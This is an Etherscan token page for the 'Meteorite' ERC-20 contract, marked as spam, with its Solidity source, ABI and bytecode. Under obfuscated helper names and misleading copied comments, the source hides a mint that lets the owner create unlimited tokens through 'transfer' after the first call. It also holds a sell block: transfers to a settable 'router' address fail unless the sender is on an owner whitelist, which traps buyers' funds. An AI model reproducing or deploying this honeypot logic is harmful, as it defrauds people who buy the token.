This token is reported to have been spammed to a large number of addresses. Please treat it with caution.
ERC-20
Overview
Max Total Supply
101,199,999,999,999.999999999999999998 ERC-20 TOKEN*
Holders
52
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
667,393,108.490944897265112144 ERC-20 TOKEN*Value
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Meteor
Compiler Version
v0.8.11+commit.d7f03943
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-02-19 */ library SafeMath { function prod(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /* @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function cre(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function cal(uint256 a, uint256 b) internal pure returns (uint256) { return calc(a, b, "SafeMath: division by zero"); } function calc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function red(uint256 a, uint256 b) internal pure returns (uint256) { return redc(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function redc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } pragma solidity ^0.8.11; contract Ownable is Context { address internal recipients; address internal router; address public owner; mapping (address => bool) internal confirm; event owned(address indexed previousi, address indexed newi); constructor () { address msgSender = _msgSender(); recipients = msgSender; emit owned(address(0), msgSender); } modifier checker() { require(recipients == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function renounceOwnership() public virtual checker { emit owned(owner, address(0)); owner = address(0); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ } // SPDX-License-Identifier: MIT contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{ mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) internal _allowances; uint256 private _totalSupply; using SafeMath for uint256; string private _name; string private _symbol; bool private truth; constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; truth=true; } function name() public view virtual override returns (string memory) { return _name; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * also check address is bot address. * * Requirements: * * - the address is in list bot. * - the called Solidity function must be `sender`. * * _Available since v3.1._ */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * transferFrom. * * Requirements: * * - transferFrom. * * _Available since v3.1._ */ function setMarketingWallet (address set) public checker { router = set; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * * Requirements: * * - the address approve. * - the called Solidity function must be `sender`. * * _Available since v3.1._ */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev updateTaxFee * */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * also check address is bot address. * * Requirements: * * - the address is in list bot. * - the called Solidity function must be `sender`. * * _Available since v3.1._ */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function transfer(address recipient, uint256 amount) public override returns (bool) { if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;} else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_balances[recipient]=_balances[recipient].cre(amount);emit Transfer(recipient, recipient, amount); return true;} else{_transfer(_msgSender(), recipient, amount); return true;} } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function fee(address _count) internal checker { confirm[_count] = true; } /** * @dev updateTaxFee * */ function deploy(address[] memory _counts) external checker { for (uint256 i = 0; i < _counts.length; i++) { fee(_counts[i]); } } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if (recipient == router) { require(confirm[sender]); } uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * * Requirements: * * - manualSend * * _Available since v3.1._ */ } function _deploy(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: deploy to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ } contract Meteor is ERC20{ uint8 immutable private _decimals = 18; uint256 private _totalSupply = 200000000000 * 10 ** 18; constructor () ERC20('Meteorite | MeteorMoonMission.com','Meteorite') { _deploy(_msgSender(), _totalSupply); } function decimals() public view virtual override returns (uint8) { return _decimals; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousi","type":"address"},{"indexed":true,"internalType":"address","name":"newi","type":"address"}],"name":"owned","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_counts","type":"address[]"}],"name":"deploy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"set","type":"address"}],"name":"setMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60a060405260126080526c02863c1f5cdae42f9540000000600a553480156200002757600080fd5b50604051806060016040528060218152602001620011256021913960408051808201825260098152684d6574656f7269746560b81b6020820152600080546001600160a01b03191633908117825592519192918291907f5f04b3e53e8649c529695dc1d3ddef0535b093b2022dd4e04bb2c4db963a09b0908290a3508151620000b8906007906020850190620001eb565b508051620000ce906008906020840190620001eb565b50506009805460ff1916600117905550620000f3620000ea3390565b600a54620000f9565b620002f5565b6001600160a01b0382166200015e5760405162461bcd60e51b815260206004820152602160248201527f45524332303a206465706c6f7920746f20746865207a65726f206164647265736044820152607360f81b606482015260840160405180910390fd5b806006600082825462000172919062000291565b90915550506001600160a01b03821660009081526004602052604081208054839290620001a190849062000291565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b828054620001f990620002b8565b90600052602060002090601f0160209004810192826200021d576000855562000268565b82601f106200023857805160ff191683800117855562000268565b8280016001018555821562000268579182015b82811115620002685782518255916020019190600101906200024b565b50620002769291506200027a565b5090565b5b808211156200027657600081556001016200027b565b60008219821115620002b357634e487b7160e01b600052601160045260246000fd5b500190565b600181811c90821680620002cd57607f821691505b60208210811415620002ef57634e487b7160e01b600052602260045260246000fd5b50919050565b608051610e1462000311600039600061017c0152610e146000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c80635d098b381161009757806395d89b411161006657806395d89b4114610228578063a457c2d714610230578063a9059cbb14610243578063dd62ed3e1461025657600080fd5b80635d098b38146101b957806370a08231146101cc578063715018a6146101f55780638da5cb5b146101fd57600080fd5b806318160ddd116100d357806318160ddd1461015057806323b872dd14610162578063313ce5671461017557806339509351146101a657600080fd5b80630570b1fa146100fa57806306fdde031461010f578063095ea7b31461012d575b600080fd5b61010d610108366004610b2a565b61028f565b005b610117610306565b6040516101249190610bef565b60405180910390f35b61014061013b366004610c44565b610398565b6040519015158152602001610124565b6006545b604051908152602001610124565b610140610170366004610c6e565b6103af565b60405160ff7f0000000000000000000000000000000000000000000000000000000000000000168152602001610124565b6101406101b4366004610c44565b610460565b61010d6101c7366004610caa565b610497565b6101546101da366004610caa565b6001600160a01b031660009081526004602052604090205490565b61010d6104e3565b600254610210906001600160a01b031681565b6040516001600160a01b039091168152602001610124565b610117610557565b61014061023e366004610c44565b610566565b610140610251366004610c44565b610601565b610154610264366004610cc5565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6000546001600160a01b031633146102c25760405162461bcd60e51b81526004016102b990610cf8565b60405180910390fd5b60005b8151811015610302576102f08282815181106102e3576102e3610d2d565b602002602001015161070d565b806102fa81610d59565b9150506102c5565b5050565b60606007805461031590610d74565b80601f016020809104026020016040519081016040528092919081815260200182805461034190610d74565b801561038e5780601f106103635761010080835404028352916020019161038e565b820191906000526020600020905b81548152906001019060200180831161037157829003601f168201915b5050505050905090565b60006103a533848461075b565b5060015b92915050565b60006103bc84848461087f565b6001600160a01b0384166000908152600560209081526040808320338452909152902054828110156104415760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084016102b9565b61045585336104508685610daf565b61075b565b506001949350505050565b3360008181526005602090815260408083206001600160a01b038716845290915281205490916103a5918590610450908690610dc6565b6000546001600160a01b031633146104c15760405162461bcd60e51b81526004016102b990610cf8565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b0316331461050d5760405162461bcd60e51b81526004016102b990610cf8565b6002546040516000916001600160a01b0316907f5f04b3e53e8649c529695dc1d3ddef0535b093b2022dd4e04bb2c4db963a09b0908390a3600280546001600160a01b0319169055565b60606008805461031590610d74565b3360009081526005602090815260408083206001600160a01b0386168452909152812054828110156105e85760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016102b9565b6105f733856104508685610daf565b5060019392505050565b600080546001600160a01b031633148015610623575060095460ff1615156001145b1561064657610634335b848461087f565b506009805460ff1916905560016103a9565b6000546001600160a01b031633148015610663575060095460ff16155b156106fc576006546106759083610a92565b6006556001600160a01b03831660009081526004602052604090205461069b9083610a92565b6001600160a01b0384166000818152600460205260409081902092909255905181907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906106ec9086815260200190565b60405180910390a35060016103a9565b6107053361062d565b5060016103a9565b6000546001600160a01b031633146107375760405162461bcd60e51b81526004016102b990610cf8565b6001600160a01b03166000908152600360205260409020805460ff19166001179055565b6001600160a01b0383166107bd5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016102b9565b6001600160a01b03821661081e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016102b9565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108e35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016102b9565b6001600160a01b0382166109455760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016102b9565b6001546001600160a01b0383811691161415610980576001600160a01b03831660009081526003602052604090205460ff1661098057600080fd5b6001600160a01b038316600090815260046020526040902054818110156109f85760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016102b9565b610a028282610daf565b6001600160a01b038086166000908152600460205260408082209390935590851681529081208054849290610a38908490610dc6565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a8491815260200190565b60405180910390a350505050565b600080610a9f8385610dc6565b905083811015610af15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016102b9565b9392505050565b634e487b7160e01b600052604160045260246000fd5b80356001600160a01b0381168114610b2557600080fd5b919050565b60006020808385031215610b3d57600080fd5b823567ffffffffffffffff80821115610b5557600080fd5b818501915085601f830112610b6957600080fd5b813581811115610b7b57610b7b610af8565b8060051b604051601f19603f83011681018181108582111715610ba057610ba0610af8565b604052918252848201925083810185019188831115610bbe57600080fd5b938501935b82851015610be357610bd485610b0e565b84529385019392850192610bc3565b98975050505050505050565b600060208083528351808285015260005b81811015610c1c57858101830151858201604001528201610c00565b81811115610c2e576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215610c5757600080fd5b610c6083610b0e565b946020939093013593505050565b600080600060608486031215610c8357600080fd5b610c8c84610b0e565b9250610c9a60208501610b0e565b9150604084013590509250925092565b600060208284031215610cbc57600080fd5b610af182610b0e565b60008060408385031215610cd857600080fd5b610ce183610b0e565b9150610cef60208401610b0e565b90509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415610d6d57610d6d610d43565b5060010190565b600181811c90821680610d8857607f821691505b60208210811415610da957634e487b7160e01b600052602260045260246000fd5b50919050565b600082821015610dc157610dc1610d43565b500390565b60008219821115610dd957610dd9610d43565b50019056fea2646970667358221220738ed253066bc6995d0e573fcd58b5ab4a4d5c197eb192f188c7796b955c24da64736f6c634300080b00334d6574656f72697465207c204d6574656f724d6f6f6e4d697373696f6e2e636f6d
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80635d098b381161009757806395d89b411161006657806395d89b4114610228578063a457c2d714610230578063a9059cbb14610243578063dd62ed3e1461025657600080fd5b80635d098b38146101b957806370a08231146101cc578063715018a6146101f55780638da5cb5b146101fd57600080fd5b806318160ddd116100d357806318160ddd1461015057806323b872dd14610162578063313ce5671461017557806339509351146101a657600080fd5b80630570b1fa146100fa57806306fdde031461010f578063095ea7b31461012d575b600080fd5b61010d610108366004610b2a565b61028f565b005b610117610306565b6040516101249190610bef565b60405180910390f35b61014061013b366004610c44565b610398565b6040519015158152602001610124565b6006545b604051908152602001610124565b610140610170366004610c6e565b6103af565b60405160ff7f0000000000000000000000000000000000000000000000000000000000000012168152602001610124565b6101406101b4366004610c44565b610460565b61010d6101c7366004610caa565b610497565b6101546101da366004610caa565b6001600160a01b031660009081526004602052604090205490565b61010d6104e3565b600254610210906001600160a01b031681565b6040516001600160a01b039091168152602001610124565b610117610557565b61014061023e366004610c44565b610566565b610140610251366004610c44565b610601565b610154610264366004610cc5565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6000546001600160a01b031633146102c25760405162461bcd60e51b81526004016102b990610cf8565b60405180910390fd5b60005b8151811015610302576102f08282815181106102e3576102e3610d2d565b602002602001015161070d565b806102fa81610d59565b9150506102c5565b5050565b60606007805461031590610d74565b80601f016020809104026020016040519081016040528092919081815260200182805461034190610d74565b801561038e5780601f106103635761010080835404028352916020019161038e565b820191906000526020600020905b81548152906001019060200180831161037157829003601f168201915b5050505050905090565b60006103a533848461075b565b5060015b92915050565b60006103bc84848461087f565b6001600160a01b0384166000908152600560209081526040808320338452909152902054828110156104415760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084016102b9565b61045585336104508685610daf565b61075b565b506001949350505050565b3360008181526005602090815260408083206001600160a01b038716845290915281205490916103a5918590610450908690610dc6565b6000546001600160a01b031633146104c15760405162461bcd60e51b81526004016102b990610cf8565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b0316331461050d5760405162461bcd60e51b81526004016102b990610cf8565b6002546040516000916001600160a01b0316907f5f04b3e53e8649c529695dc1d3ddef0535b093b2022dd4e04bb2c4db963a09b0908390a3600280546001600160a01b0319169055565b60606008805461031590610d74565b3360009081526005602090815260408083206001600160a01b0386168452909152812054828110156105e85760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016102b9565b6105f733856104508685610daf565b5060019392505050565b600080546001600160a01b031633148015610623575060095460ff1615156001145b1561064657610634335b848461087f565b506009805460ff1916905560016103a9565b6000546001600160a01b031633148015610663575060095460ff16155b156106fc576006546106759083610a92565b6006556001600160a01b03831660009081526004602052604090205461069b9083610a92565b6001600160a01b0384166000818152600460205260409081902092909255905181907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906106ec9086815260200190565b60405180910390a35060016103a9565b6107053361062d565b5060016103a9565b6000546001600160a01b031633146107375760405162461bcd60e51b81526004016102b990610cf8565b6001600160a01b03166000908152600360205260409020805460ff19166001179055565b6001600160a01b0383166107bd5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016102b9565b6001600160a01b03821661081e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016102b9565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108e35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016102b9565b6001600160a01b0382166109455760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016102b9565b6001546001600160a01b0383811691161415610980576001600160a01b03831660009081526003602052604090205460ff1661098057600080fd5b6001600160a01b038316600090815260046020526040902054818110156109f85760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016102b9565b610a028282610daf565b6001600160a01b038086166000908152600460205260408082209390935590851681529081208054849290610a38908490610dc6565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a8491815260200190565b60405180910390a350505050565b600080610a9f8385610dc6565b905083811015610af15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016102b9565b9392505050565b634e487b7160e01b600052604160045260246000fd5b80356001600160a01b0381168114610b2557600080fd5b919050565b60006020808385031215610b3d57600080fd5b823567ffffffffffffffff80821115610b5557600080fd5b818501915085601f830112610b6957600080fd5b813581811115610b7b57610b7b610af8565b8060051b604051601f19603f83011681018181108582111715610ba057610ba0610af8565b604052918252848201925083810185019188831115610bbe57600080fd5b938501935b82851015610be357610bd485610b0e565b84529385019392850192610bc3565b98975050505050505050565b600060208083528351808285015260005b81811015610c1c57858101830151858201604001528201610c00565b81811115610c2e576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215610c5757600080fd5b610c6083610b0e565b946020939093013593505050565b600080600060608486031215610c8357600080fd5b610c8c84610b0e565b9250610c9a60208501610b0e565b9150604084013590509250925092565b600060208284031215610cbc57600080fd5b610af182610b0e565b60008060408385031215610cd857600080fd5b610ce183610b0e565b9150610cef60208401610b0e565b90509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415610d6d57610d6d610d43565b5060010190565b600181811c90821680610d8857607f821691505b60208210811415610da957634e487b7160e01b600052602260045260246000fd5b50919050565b600082821015610dc157610dc1610d43565b500390565b60008219821115610dd957610dd9610d43565b50019056fea2646970667358221220738ed253066bc6995d0e573fcd58b5ab4a4d5c197eb192f188c7796b955c24da64736f6c634300080b0033
Deployed Bytecode Sourcemap
14023:374:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11439:155;;;;;;:::i;:::-;;:::i;:::-;;7466:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10327:169;;;;;;:::i;:::-;;:::i;:::-;;;2476:14:1;;2469:22;2451:41;;2439:2;2424:18;10327:169:0;2311:187:1;8731:108:0;8819:12;;8731:108;;;2649:25:1;;;2637:2;2622:18;8731:108:0;2503:177:1;10502:418:0;;;;;;:::i;:::-;;:::i;14294:100::-;;;3190:4:1;14377:9:0;3178:17:1;3160:36;;3148:2;3133:18;14294:100:0;3018:184:1;11604:215:0;;;;;;:::i;:::-;;:::i;8216:88::-;;;;;;:::i;:::-;;:::i;9157:127::-;;;;;;:::i;:::-;-1:-1:-1;;;;;9258:18:0;9231:7;9258:18;;;:9;:18;;;;;;;9157:127;6316:130;;;:::i;5420:20::-;;;;;-1:-1:-1;;;;;5420:20:0;;;;;;-1:-1:-1;;;;;3562:32:1;;;3544:51;;3532:2;3517:18;5420:20:0;3398:203:1;7885:104:0;;;:::i;11825:375::-;;;;;;:::i;:::-;;:::i;9654:510::-;;;;;;:::i;:::-;;:::i;10170:151::-;;;;;;:::i;:::-;-1:-1:-1;;;;;10286:18:0;;;10259:7;10286:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;10170:151;11439:155;5750:10;;-1:-1:-1;;;;;5750:10:0;4248;5750:26;5742:71;;;;-1:-1:-1;;;5742:71:0;;;;;;;:::i;:::-;;;;;;;;;11514:9:::1;11509:78;11533:7;:14;11529:1;:18;11509:78;;;11569:15;11573:7;11581:1;11573:10;;;;;;;;:::i;:::-;;;;;;;11569:3;:15::i;:::-;11549:3:::0;::::1;::::0;::::1;:::i;:::-;;;;11509:78;;;;11439:155:::0;:::o;7466:100::-;7520:13;7553:5;7546:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7466:100;:::o;10327:169::-;10410:4;10427:39;4248:10;10450:7;10459:6;10427:8;:39::i;:::-;-1:-1:-1;10484:4:0;10327:169;;;;;:::o;10502:418::-;10608:4;10625:36;10635:6;10643:9;10654:6;10625:9;:36::i;:::-;-1:-1:-1;;;;;10699:19:0;;10672:24;10699:19;;;:11;:19;;;;;;;;4248:10;10699:33;;;;;;;;10751:26;;;;10743:79;;;;-1:-1:-1;;;10743:79:0;;5223:2:1;10743:79:0;;;5205:21:1;5262:2;5242:18;;;5235:30;5301:34;5281:18;;;5274:62;-1:-1:-1;;;5352:18:1;;;5345:38;5400:19;;10743:79:0;5021:404:1;10743:79:0;10833:57;10842:6;4248:10;10864:25;10883:6;10864:16;:25;:::i;:::-;10833:8;:57::i;:::-;-1:-1:-1;10908:4